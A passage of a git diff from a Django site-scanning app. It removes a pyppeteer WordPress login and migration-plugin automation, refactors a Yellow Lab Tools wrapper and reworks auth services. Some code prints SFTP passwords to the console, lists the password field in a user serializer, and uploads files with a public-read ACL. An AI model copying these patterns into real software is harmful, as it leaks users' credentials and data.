# get full page div if new_progress >= 100 or done_text in self.driver.page_source: - self.process.successful = True + self.process.success = True self.process.time_completed = datetime.now() done = True diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py deleted file mode 100644 index 889a00ff..00000000 --- a/app/api/utils/wordpress_p.py +++ /dev/null @@ -1,571 +0,0 @@ -from .driver_p import driver_init -import time, asyncio, uuid -from ..models import * -from datetime import datetime -from asgiref.sync import sync_to_async - - - - - - - -class Wordpress(): - - - def __init__( - self, - login_url, - admin_url, - username, - password, - email_address, - destination_url, - sftp_address, - dbname, - sftp_username, - sftp_password, - wait_time, - process_id - ): - # set all global vars - self.login_url = login_url - self.username = username - self.password = password - self.email_address = email_address - self.destination_url = destination_url - self.sftp_address = sftp_address - self.dbname = dbname - self.sftp_username = sftp_username - self.sftp_password = sftp_password - self.process = Process.objects.get(id=process_id) - self.native_lang = 'en' - - if not admin_url.endswith('/'): - admin_url = admin_url + '/' - self.admin_url = admin_url - - if wait_time is None: - self.wait_time = 30 - else: - self.wait_time = wait_time - - self.navWaitOpt = { - 'timeout': self.wait_time * 1000, - 'waitUntil': 'domcontentloaded' - } - - - async def login(self): - - ''' - Tries to log into a WP site with given credentials. - - returns --> True / False - - ''' - - print('begining login method for ' + self.login_url) - - - self.driver = await driver_init(wait_time=self.wait_time) - - # init page obj - self.page = await self.driver.newPage() - page_options = { - 'waitUntil': 'networkidle0', - 'timeout': self.wait_time * 1000 - } - - try: - await self.page.goto(self.login_url, page_options) - try: - await self.page.xpath('//*[@id="user_login"]') - print('found login form') - except: - try: - jetpack = await self.page.xpath('//*[@id="jetpack-sso-wrap"]/a[1]') - await jetpack[0].click() - await self.page.xpath('//*[@id="user_login"]') - print('found login form') - except: - try: - login_link = await self.page.xpath("//a[contains(., 'Login with username and password')]") - await login_link[0].click() - await self.page.xpath('//*[@id="user_login"]') - print('found login form') - except: - print('unable to locate login form at this path') - await self.driver.close() - return False - - - except: - print('unable to locate login form at this path') - await self.driver.close() - return False - - user_name_elem = await self.page.xpath('//*[@id="user_login"]') - await user_name_elem[0].click(clickCount=3) - await self.page.keyboard.type(self.username) - time.sleep(1) - passworword_elem = await self.page.xpath('//*[@id="user_pass"]') - await passworword_elem[0].click(clickCount=3) - await self.page.keyboard.type(self.password) - time.sleep(1) - await self.page.keyboard.press('Enter') - await self.page.waitForNavigation(self.navWaitOpt) - - - try: - try: - verify_email = await self.page.xpath('//*[@id="correct-admin-email"]') - print('need to verify email') - await verify_email[0].click() - print('clicked verify') - except: - pass - - print('done with login attempt') - - try: - await self.page.xpath('//*[@id="login_error"]') - print('found login error') - await self.page.reload() - - print('trying login again') - user_name_elem = await self.page.xpath('//*[@id="user_login"]') - await user_name_elem[0].click(clickCount=3) - await self.page.keyboard.type(self.username) - time.sleep(1) - passworword_elem = await self.page.xpath('//*[@id="user_pass"]') - await passworword_elem[0].click(clickCount=3) - await self.page.keyboard.type(self.password) - time.sleep(1) - await self.page.keyboard.press('Enter') - await self.page.waitForNavigation(self.navWaitOpt) - - - try: - await self.page.xpath('//*[@id="login_error"]') - print('found login error again') - print('counld not login to this site') - except: - print('no login errors') - - except: - print('no login errors') - - except: - print('counld not login to this site') - - await self.driver.close() - return False - - - # removing alerts - try: - deny_btn = await self.page.xpath('//*[@id="webpushr-deny-button"]') - await deny_btn[0].click() - print('removed alert') - except: - pass - try: - # checking if url location is wp-admin - admin_link = '/wp-admin/' - current_url = self.page.url - print('current url -> ' + current_url) - if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url: - print('inside wp-admin') - else: - print('not in wp-admin - navigating there now') - admin_btn = await self.page.xpath('//*[@id="wp-admin-bar-dashboard"]') - admin_link = await admin_btn[0].querySelector('a') - await admin_link[0].click(clickCount=2) - print('clicked dashboard link') - await self.page.waitForNavigation(self.navWaitOpt) - - - except: - print('could not login') - await self.driver.close() - return False - - - return True - - - - - - async def begin_lang_check(self): - - try: - # navigate to settings - s_url = 'options-general.php' - try: - settings_menu = await self.page.xpath('//*[@id="menu-settings"]') - await settings_menu[0].click() - print('clicked settings menu') - await self.page.waitForNavigation(self.navWaitOpt) - settings = await self.page.xpath('.//a[@href="'+s_url+'"]') - await settings[0].click() - print('clicked settings tab') - await self.page.waitForNavigation(self.navWaitOpt) - - - except: - await self.page.goto(self.page.url + s_url) - await self.page.waitForNavigation(self.navWaitOpt) - - # finding and recording current native language - lang_selector = await self.page.xpath('//*[@id="WPLANG"]') - optgroup = await lang_selector[0].querySelector('optgroup') - selected_lang = await optgroup.xpath('.//option[@selected="selected"]') - default_lang = await (await selected_lang[0].getProperty('lang')).jsonValue() - default_lang_value = await (await selected_lang[0].getProperty('value')).jsonValue() - print("defalut lang value is " + str(default_lang)) - - if default_lang != 'en': - - # selecting english - await lang_selector[0].select('en_CA') - print('selected english') - - # saving settings - save_btn = await self.page.xpath('//*[@id="submit"]') - await save_btn[0].click() - print('saved lang to english') - - self.native_lang = default_lang_value - return True - - else: - self.native_lang = 'en' - - - except: - print('error in changing language') - return False - - - - - - - async def end_lang_check(self): - - if self.native_lang != 'en': - - try: - # navigate to settings - s_url = 'options-general.php' - try: - settings_menu = await self.page.xpath('//*[@id="menu-settings"]') - await settings_menu[0].click() - print('clicked settings menu') - await self.page.waitForNavigation(self.navWaitOpt) - settings = await self.page.xpath('.//a[@href="'+s_url+'"]') - await settings[0].click() - print('clicked settings tab') - await self.page.waitForNavigation(self.navWaitOpt) - - except: - await self.page.goto(self.page.url + s_url) - await self.page.waitForNavigation(self.navWaitOpt) - - # selecting native lang - lang_selector = await self.page.xpath('//*[@id="WPLANG"]') - await lang_selector[0].select(self.native_lang) - print('selected native_lang') - - # saving settings - save_btn = await self.page.xpath('//*[@id="submit"]') - await save_btn[0].click() - print('saved native lang') - - except: - await self.driver.close() - return False - - await self.driver.close() - return True - - - - async def install_plugin(self, plugin_name): - - # setting url for link naving - plugin_menu_page = 'plugins.php' - add_plugin_page = 'plugin-install.php' - - # navigating to plugin page - try: - print('trying click method') - plugin_menu = await self.page.xpath('//*[@id="menu-plugins"]') - await plugin_menu[0].click() - await self.page.waitForNavigation(self.navWaitOpt) - p_url = 'plugins.php' - plugins = await self.page.xpath('.//a[@href="'+p_url+'"]') - await plugins[0].click() - print('clicked plugin menu') - await self.page.waitForNavigation(self.navWaitOpt) - - - # looking for dependencies in plugin table - time.sleep(10) - form = await self.page.xpath('//*[@id="bulk-action-form"]') - pluginTable = await form[0].querySelector('tbody') - tableText = await (await pluginTable.getProperty('textContent')).jsonValue() - - except: - print('trying link method for navigation') - try: - await self.page.goto(self.admin_link + plugin_menu_page) - await self.page.waitForNavigation(self.navWaitOpt) - - time.sleep(10) - # looking for dependencies in plugin table - form = await self.page.xpath('//*[@id="bulk-action-form"]') - pluginTable = await form[0].querySelector('tbody') - tableText = await (await pluginTable.getProperty('textContent')).jsonValue() - except: - print('unable to find plugin table') - await self.driver.close() - return False - - if plugin_name not in tableText: - try: - print('plugin not present, preparing to install') - - time.sleep(2) - print('navigating to add plugins page') - - try: - url = 'plugin-install.php' - add_plugin = await self.page.xpath('//a[@href="'+url+'"]') - await add_plugin[0].click(clickCount=2) - print('clicked add plugin link') - await self.page.waitForNavigation(self.navWaitOpt) - - time.sleep(5) - except: - await self.page.goto(self.admin_url + add_plugin_page) - await self.page.waitForNavigation(self.navWaitOpt) - - time.sleep(5) - - - # searching for plugin - search_form = await self.page.xpath('//input[@type="search"]') - await search_form[0].click(clickCount=3) - await self.page.keyboard.type(plugin_name) - time.sleep(1) - await self.page.keyboard.press('Enter') - time.sleep(3) - - ##### Clicking "install" plugin ###### - install = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly - await install[0].click(clickCount=2) - print('clicked -install plugin-') - time.sleep(30) - - - #### Clicking "activate" plugin ###### - await self.page.reload() - print('reloading page') - try: - await self.page.waitForNavigation(self.navWaitOpt) - except: - pass - activate = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly - await activate[0].click(clickCount=2) - print('clicked -Activate plugin-') - time.sleep(30) - print('Dependencies installed sucessfully') - return True - - except: - print('failed dependency installation') - await self.driver.close() - return False - - else: - print('plugin already installed') - return True - - - @sync_to_async - def update_process(self, successful=False, info_url=None, time_completed=None, progress=None): - if info_url is not None: - self.process.info_url = info_url - self.process.successful = successful - if time_completed is not None: - self.process.time_completed = time_completed - if progress is not None: - self.process.progress = progress - - self.process.save() - return - - - - async def launch_migration(self): - ''' - Launches the migration plugin once Activated. - - returns --> True / False - - ''' - - # setting url for link naving - migrate_page = 'admin.php?page=cloudways' - current_url = self.page.url - - if not current_url.endswith("cloudways"): - print('navigating to migration page') - if self.admin_url.endswith('/'): - await self.page.goto(f'{self.admin_url}{migrate_page}') - else: - await self.page.goto(f'{self.admin_url}/{migrate_page}') - time.sleep(10) - - - # wait for cloudways email field to become visible - # entering self.email_address in field - email = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/input') - await email[0].click(clickCount=3) - await self.page.keyboard.type(self.email_address) - print('entered cloudways email') - - # checking T&S checbox - checkbox = await self.page.xpath('//*[@id="wpbody-content"]/main/div/form/div/div/label/input[3]') - await checkbox[0].click(clickCount=1) - print('checked T&S agreement') - - # clicking submit to launch migration plugin - m_button = await self.page.xpath('//*[@id="migratesubmit"]') - await m_button[0].click(clickCount=1) - print('clicked migrate button') - - return True - - - async def run_migration(self): - ''' - Enters data on migration page, initiates miration - and begins updating the associated `Process` with data - from the page. - - returns --> True / False - - ''' - - # check for page to fully load - print('waiting 10 sec for new page to load') - time.sleep(10) - ## enter all necessary data in each field - await self.page.waitForNavigation(self.navWaitOpt) - - # get_element_by_name="address" -> self.destination_url - destination_url = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[1]/div/div/input[1]') - await destination_url[0].click(clickCount=3) - await self.page.keyboard.type(self.destination_url) - print(f'dest_url as -> {self.destination_url}') - time.sleep(2) - - # get_element_by_name="newurl" -> self.sftp_address - sftp_address = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[2]/div/div/input[1]') - await sftp_address[0].click(clickCount=3) - await self.page.keyboard.type(self.sftp_address) - print(f'sftp_address as -> {self.sftp_address}') - time.sleep(2) - - # get_element_by_name="appfolder" -> self.dbname - dbname = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[3]/div/div/input[1]') - await dbname[0].click(clickCount=3) - await self.page.keyboard.type(self.dbname) - print(f'dbname as -> {self.dbname}') - time.sleep(2) - - # get_element_by_name="username" -> self.sftp_username - sftp_username = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[4]/div/div/input[1]') - await sftp_username[0].click(clickCount=3) - await self.page.keyboard.type(self.sftp_username) - print(f'sftp_username as -> {self.sftp_username}') - time.sleep(2) - - # get_element_by_name="passwd" -> self.sftp_password - sftp_password = await self.page.xpath('//*[@id="app"]/span/div[2]/div/div/div/div/div/form/div/div[5]/div/div/input[1]') - await sftp_password[0].click(clickCount=3) - await self.page.keyboard.type(self.sftp_password) - print(f'sftp_password as -> {self.sftp_password}') - time.sleep(2) - - print('entered all creds') - - # submit data - await self.page.keyboard.press('Enter') - print('pressed enter key') - - - - # update self.process with info_url - info_url = self.page.url - await self.update_process(info_url=info_url) - - - done = False - done_text = 'Your migration is complete!' - new_progress = 0 - print(f'current url -> {self.page.url}') - while not done: - - # checking for progres bar - try: - raw_progress = await self.page.xpath('//*[@id="app"]/span/div[2]/span/div/div/div/div/div/div[3]/div[4]/div[2]') - new_progress = await (await raw_progress[0].getProperty('textContent')).jsonValue() - new_progress = float(new_progress.split('%')[0]) - except Exception as e: - # print(e) - pass - - - # update self.process - await self.update_process(progress=new_progress) - - # check if new_progress is 100% - page_content = await self.page.content() - if new_progress >= 100 or done_text in page_content: - time_completed = datetime.now() - await self.update_process(successful=True, time_completed=time_completed, progress=100) - done = True - - # checking for process errors - if 'alert alert-danger' in page_content: - done = True - time_completed = datetime.now() - await self.update_process(time_completed=time_completed) - print('found an error - ending process') - return False - - time.sleep(1) - - - return True - - - - - - - async def run_full(self, plugin_name): - data = await self.login() - data = await self.begin_lang_check() - data = await self.install_plugin(plugin_name) - # data = await self.end_lang_check() - data = await self.launch_migration() - data = await self.run_migration() - await self.driver.close() - return data - diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py index ea3e11b6..c464ac4f 100644 --- a/app/api/utils/yellowlab.py +++ b/app/api/utils/yellowlab.py @@ -1,141 +1,260 @@ -import subprocess, json +import subprocess, json, uuid, boto3, os, requests, time from ..models import Site, Scan +from scanerr import settings + + + class Yellowlab(): - """Initializes Yellow Lab Tools CLI and runs an audit of the site""" + """ + Initializes Yellow Lab Tools CLI and runs an audit of the site + + Use self.get_data() to init a run + """ - def __init__(self, site=None, configs=None): - self.site = site - self.configs = configs + def __init__(self, scan=None): + self.scan = scan + self.site = self.scan.site + self.page = self.scan.page + self.configs = scan.configs + self.audits_url = '' + + # initial audits object + self.audits = { + "pageWeight": [], + "images": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + # initial scores object + self.scores = { + "globalScore": None, + "pageWeight": None, + "images": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + } - def init_audit(self): + def yellowlab_cli(self): + """ + Serves as the CLI method for collecting YL metrics. + Creates a sub process running yellowlabtools CLI + + Returns --> raw YL data (Dict) + """ + + # initiating subprocess for YLT CLI proc = subprocess.Popen([ - 'yellowlabtools', - self.site.site_url, + 'yellowlabtools', + self.page.page_url, f'--device={self.configs["device"]}' ], stdout=subprocess.PIPE, user='app', ) + + # retrieving data from process stdout_value = proc.communicate()[0] - return stdout_value + # converting stdout str into Dict + stdout_json = json.loads(stdout_value) + return stdout_json - def get_data(self): - try: - stdout_value = self.init_audit() - # decode bytes into string - stdout_string = stdout_value.decode('iso-8859-1') + + + def yellowlab_api(self) -> dict: + """ + Serves as the API method for collecting YL metrics. + Sends API requests to http://yellowlab:8383 + or localhost:8383 + + Returns --> raw YL data (Dict) + """ + + # defaults + headers = { + "content-type": "application/json", + } + data = { + "url": self.page.page_url, + "waitForResponse": True, + "device": self.configs["device"] + } + + # setting up initial request + res = requests.post( + url=f'{settings.YELLOWLAB_ROOT}/api/runs', + data=json.dumps(data), + headers=headers + ).json() + + # retrieve runId & pod_ip if present + run_id = res['runId'] + pod_ip = res.get('pod_ip') + NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip != None else settings.YELLOWLAB_ROOT - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'yellowlab ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - - # initial audits object - audits = { - "pageWeight": [], - "requests": [], - "domComplexity": [], - "javascriptComplexity": [], - "badJavascript": [], - "jQuery": [], - "cssComplexity": [], - "badCSS": [], - "fonts": [], - "serverConfig": [], - } - - # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] - for a in cat_audits: - try: - audit = stdout_json["rules"][a] - audits[cat].append(audit) - except: - pass - - - # get scores from each category - globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"] - pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"] - requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"] - domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"] - javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"] - badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"] - jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"] - cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"] - badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"] - fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"] - serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"] - - scores = { - "globalScore": globalScore, - "pageWeight": pageWeight_score, - "requests": requests_score, - "domComplexity": domComplexity_score, - "javascriptComplexity": javascriptComplexity_score, - "badJavascript": badJavascript_score, - "jQuery": jQuery_score, - "cssComplexity": cssComplexity_score, - "badCSS": badCSS_score, - "fonts": fonts_score, - "serverConfig": serverConfig_score, - } - - data = { - "scores": scores, - "audits": audits, - "failed": False - } + wait_time = 0 + max_wait = 1200 + done = False - else: + # waiting for run to complete + while not done and wait_time < max_wait: + + # sending run request check + res = requests.get( + url=f'{NEW_ROOT}/api/runs/{run_id}', + headers=headers + ).json() + + # checking status + status = res['run']['status']['statusCode'] + position = res['run']['status'].get('position') + if status == 'awaiting': + max_wait = (120 * position) + if status == 'complete': + done = True + if status == 'failed': raise RuntimeError + break + + # incrementing time + time.sleep(5) + wait_time += 5 + + + # getting run results + res = requests.get( + url=f'{NEW_ROOT}/api/results/{run_id}', + headers=headers + ).json() + + return res + - except Exception as e: - print(e) - - scores = { - "globalScore": None, - "pageWeight": None, - "requests": None, - "domComplexity": None, - "javascriptComplexity": None, - "badJavascript": None, - "jQuery": None, - "cssComplexity": None, - "badCSS": None, - "fonts": None, - "serverConfig": None, - } - - audits = { - "pageWeight": [], - "requests": [], - "domComplexity": [], - "javascriptComplexity": [], - "badJavascript": [], - "jQuery": [], - "cssComplexity": [], - "badCSS": [], - "fonts": [], - "serverConfig": [], - } - - data = { - "scores": scores, - "audits": audits, - "failed": True - } + + + def process_data(self, stdout_json: dict) -> dict: + """ + Accepts JSON data from either CLI or API method + and parses into usable Scanerr data. + + Expects the following: + stdout_json: or json from output + Returns --> formatted YL data + """ + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # iterating through categories to get relevant yl_audits + # and store them in their respective `audits = {}` obj + for cat in self.audits: + cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] + for a in cat_audits: + try: + audit = stdout_json["rules"][a] + self.audits[cat].append(audit) + except: + pass + + # get scores from each category + for key in self.scores: + if key == 'globalScore': + self.scores['globalScore'] = stdout_json["scoreProfiles"]["generic"]["globalScore"] + else: + self.scores[key] = stdout_json["scoreProfiles"]["generic"]["categories"][key]["categoryScore"] + + + # save audits data as json file + file_id = uuid.uuid4() + with open(f'{file_id}.json', 'w') as fp: + json.dump(self.audits, fp) + + # upload to s3 and return url + audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json') + remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json' + root_path = settings.AWS_S3_URL_PATH + audits_url = f'{root_path}/{remote_path}' + + # upload to s3 + with open(audit_file, 'rb') as data: + s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"} + ) + # remove local copy + os.remove(audit_file) + + # updating opjects + self.audits_url = audits_url + + data = { + "scores": self.scores, + "audits": self.audits_url, + "failed": False + } + + # returning data return data + + + def get_data(self): + + scan_complete = False + failed = True + attempts = 0 + # trying yellowlab scan until success or 2 attempts + while not scan_complete and attempts < 2: + + try: + # CLI on first attempt + if attempts < 1: + raw_data = self.yellowlab_cli() + self.process_data(stdout_json=raw_data) + + # API after first attempt + if attempts >= 1: + raw_data = self.yellowlab_api() + self.process_data(stdout_json=raw_data) + scan_complete = True + failed = False + + except Exception as e: + print(f'YELLOWLAB FAILED (attempt {attempts}) --> {e}') + scan_complete = False + failed = True + attempts += 1 + + data = { + "scores": self.scores, + "audits": self.audits_url, + "failed": failed + } + + # returning final data + return data \ No newline at end of file diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py deleted file mode 100644 index 10392b78..00000000 --- a/app/api/v1/auth/alerts.py +++ /dev/null @@ -1,166 +0,0 @@ -from django.core.mail import send_mail, send_mass_mail -from django.contrib.auth.models import User -from django.template.loader import render_to_string -from datetime import date -import os, operator -from ...models import * -from django.utils.html import strip_tags -from django.contrib.auth.models import User -from rest_framework_simplejwt.tokens import RefreshToken -from rest_framework.response import Response -from ...utils.alerts import sendgrid_email -from scanerr import settings - - - - -def send_reset_link(email): - if User.objects.filter(email=email).exists(): - user = User.objects.get(email=email) - token = RefreshToken.for_user(user) - access_token = str(token.access_token) - reset_link = str(os.environ.get('CLIENT_URL_ROOT') + '/reset-password?token='+access_token) - subject = 'Rest Password' - title = 'Reset Password' - pre_header = 'Reset Password' - pre_content = 'Click the link below to reset your password.' - - subject = subject - context = { - 'title' : title, - 'subject' : subject, - 'email': email, - 'pre_header' : pre_header, - 'pre_content' : pre_content, - 'object_url' : reset_link, - 'home_page' : os.environ.get('CLIENT_URL_ROOT'), - 'button_text' : 'Rest my password', - 'content' : '', - 'signature' : '- Cheers!', - } - - sendgrid_email(message_obj=context) - - # html_message = render_to_string('api/alert_with_button.html', context) - # plain_message = strip_tags(html_message) - # send_mail( - # from_email = os.getenv('EMAIL_HOST_USER'), - # subject = subject, - # message = plain_message, - # recipient_list = [email], - # html_message = html_message, - # fail_silently = True, - # ) - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data - - - - - - - -def send_invite_link(member): - if Member.objects.filter(email=member.email, status="pending").exists(): - member = Member.objects.get(email=member.email) - link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}' - subject = 'Scanerr Invite' - title = 'Scanerr Invite' - pre_header = 'Scanerr Invite' - pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!' - - subject = subject - context = { - 'title' : title, - 'subject' : subject, - 'email': member.email, - 'pre_header' : pre_header, - 'pre_content' : pre_content, - 'object_url' : link, - 'home_page' : os.environ.get('CLIENT_URL_ROOT'), - 'button_text' : 'Accept Invite', - 'content' : '', - 'signature' : '- Cheers!', - } - - sendgrid_email(message_obj=context) - - # html_message = render_to_string('api/alert_with_button.html', context) - # plain_message = strip_tags(html_message) - # send_mail( - # from_email = os.getenv('EMAIL_HOST_USER'), - # subject = subject, - # message = plain_message, - # recipient_list = [member.email], - # html_message = html_message, - # fail_silently = True, - # ) - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data - - - - - -def send_remove_alert(member): - if Member.objects.filter(email=member.email, status="removed").exists(): - member = Member.objects.get(email=member.email) - subject = 'Removed From Account' - title = 'Removed From Account' - pre_header = 'Removed From Account' - pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.' - - subject = subject - context = { - 'title' : title, - 'subject' : subject, - 'email': member.email, - 'pre_header' : pre_header, - 'pre_content' : pre_content, - 'object_url' : None, - 'home_page' : os.environ.get('CLIENT_URL_ROOT'), - 'content' : '', - 'signature' : '- Cheers!', - } - - sendgrid_email(message_obj=context) - - # html_message = render_to_string('api/alert_no_button.html', context) - # plain_message = strip_tags(html_message) - # send_mail( - # from_email = os.getenv('EMAIL_HOST_USER'), - # subject = subject, - # message = plain_message, - # recipient_list = [member.email], - # html_message = html_message, - # fail_silently = True, - # ) - - data = { - 'success': True - } - - else: - data = { - 'success': False - } - - return data \ No newline at end of file diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py index 77f4d9ab..8ffc54e3 100644 --- a/app/api/v1/auth/serializers.py +++ b/app/api/v1/auth/serializers.py @@ -10,6 +10,11 @@ from rest_framework import routers, serializers, viewsets from rest_framework.fields import UUIDField + + + + + kwargs = { 'allow_null': False, 'read_only': True, @@ -18,10 +23,13 @@ + class UserSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = User - fields = ['id', 'username', 'email', 'password', 'is_active', 'date_joined', 'last_login'] + fields = ['id', 'username', 'email', 'password', 'is_active', + 'date_joined', 'last_login', 'first_name', 'last_name'] + @@ -44,13 +52,16 @@ def validate(self, attrs): return data + + class RegisterSerializer(UserSerializer): password = serializers.CharField(max_length=128, min_length=8, write_only=True, required=True) email = serializers.EmailField(required=True, write_only=True, max_length=128) class Meta: model = User - fields = ['id', 'username', 'email', 'password', 'is_active', 'date_joined', 'last_login'] + fields = ['id', 'username', 'email', 'password', 'is_active', + 'date_joined', 'last_login', 'first_name', 'last_name'] def create(self, validated_data): try: @@ -61,19 +72,23 @@ def create(self, validated_data): + class AccountSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') id = serializers.PrimaryKeyRelatedField(**kwargs) class Meta: model = Account - fields = ['id', 'active', 'time_created', 'type', + fields = ['id', 'active', 'time_created', 'type', 'phone', 'cust_id', 'sub_id', 'product_id', 'price_id', 'slack', - 'user', 'code', 'name', + 'user', 'code', 'name', 'price_amount', 'max_sites', + 'max_pages', 'max_schedules', 'retention_days', + 'configs', 'meta', 'usage', ] + class MemberSerializer(serializers.HyperlinkedModelSerializer): user = serializers.ReadOnlyField(source='user.username') account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) @@ -86,4 +101,5 @@ class Meta: ] - \ No newline at end of file + + diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 96fa4eec..18634faf 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -1,26 +1,30 @@ -import requests, os, subprocess, secrets -from typing import Dict, Any -from scanerr import settings -from django.http import HttpResponse -from django.db import transaction -from rest_framework import status, serializers -from rest_framework_simplejwt.tokens import RefreshToken + + from django.core.exceptions import ValidationError -from django.forms.models import model_to_dict from django.contrib.auth.models import User +from django.contrib.auth.middleware import get_user +from django.contrib.auth.password_validation import validate_password from django.shortcuts import get_object_or_404 +from django.utils import timezone from rest_framework.authtoken.models import Token -from ...models import Account, Card, Member -from ..ops.services import record_api_call +from rest_framework.response import Response +from rest_framework.pagination import LimitOffsetPagination +from rest_framework import status, serializers +from rest_framework_simplejwt.tokens import RefreshToken from slack_sdk.oauth import AuthorizeUrlGenerator from slack_sdk.oauth.installation_store import FileInstallationStore, Installation from slack_sdk.oauth.state_store import FileOAuthStateStore from slack_sdk.web import WebClient +from ...models import Account, Card, Member, Site +from ..ops.services import record_api_call from .serializers import * -from .alerts import * -from rest_framework.response import Response -from rest_framework.pagination import LimitOffsetPagination -from django.contrib.auth.middleware import get_user +from ...utils.alerts import send_reset_link +from ...tasks import send_invite_link_bg, send_remove_alert_bg +from scanerr import settings +import requests, os, subprocess, secrets + + + @@ -29,108 +33,361 @@ GOOGLE_USER_INFO_URL = 'https://www.googleapis.com/oauth2/v3/userinfo' -def jwt_login(*, user: User): - refresh = RefreshToken.for_user(user) - access = str(refresh.access_token) - refresh = str(refresh) + + +### ------ Begin User Services ------ ### + + + + +def register_user(request: object) -> object: + """ + Creates a User object and returns a request + + Expects the following: + 'email' : str, + 'password' : str, + 'first_name' : str, + 'last_name' : str, + + Returns -> data: { + 'user' : dict, + 'token' : str, + 'refresh' : str, + 'api_token' : str + } + """ + + # get data + password = request.data.get('password') + username = request.data.get('username') + first_name = request.data.get('first_name') + last_name = request.data.get('last_name') + + # validate requests + if (password is None or len(password) == 0) or \ + (username is None or len(username) == 0): + data = {'detail': 'Must provide an email and password.'} + return Response(data=data, status=status.HTTP_400_BAD_REQUEST) + + if User.objects.filter(username=username).exists(): + data = {'detail': 'Account already exists.'} + return Response(data=data, status=status.HTTP_409_CONFLICT) - if Token.objects.filter(user=user).exists(): - api_token = Token.objects.get(user=user) - else: - api_token = Token.objects.create(user=user) + # validate password and create user + try: + # check password + if validate_password(password) == None: + + # create user + user = User.objects.create( + username=username, + email=username, + first_name=first_name, + last_name=last_name, + last_login=timezone.now() + ) + + # setting password + user.set_password(raw_password=password) + user.save() + + # generating JWTs + refresh = RefreshToken.for_user(user) + + # generate API token + api_token = Token.objects.create(user=user) + + # returning data + data = { + 'user': UserSerializer(user).data, + 'token': str(refresh.access_token), + 'refresh': str(refresh), + 'api_token': str(api_token.key) + } + return Response(data=data, status=status.HTTP_201_CREATED) + + except: + data = {'detail': 'Please choose a stronger password.'} + return Response(data=data, status=status.HTTP_400_BAD_REQUEST) - if user.is_active == True: - is_active = 'true' + + + +def login_user(request: object) -> object: + """ + Creates a User object and returns a request + + Expects the following: + 'email' : str, + 'password' : str + + Returns -> data: { + 'user' : dict, + 'token' : str, + 'refresh' : str, + 'api_token' : str + } + """ + + # get data + password = request.data.get('password') + username = request.data.get('username') + + # validate requests + if (password is None or len(password) == 0) or \ + (username is None or len(username) == 0): + data = {'detail': 'Must provide an email and password.'} + return Response(data=data, status=status.HTTP_400_BAD_REQUEST) + + # setting defalt response + data = {'detail': 'No account found with the given credentials.'} + + # checking is User exists via provided username + if User.objects.filter(username=username).exists(): + + # retrieving User obj + user = User.objects.get(username=username) + + # validating password + if user.check_password(password): + + # generating JWTs + refresh = RefreshToken.for_user(user) + + # get API token + api_token = Token.objects.get(user=user) + + # update user last_login + user.last_login = timezone.now() + + # returning data + data = { + 'user': UserSerializer(user).data, + 'token': str(refresh.access_token), + 'refresh': 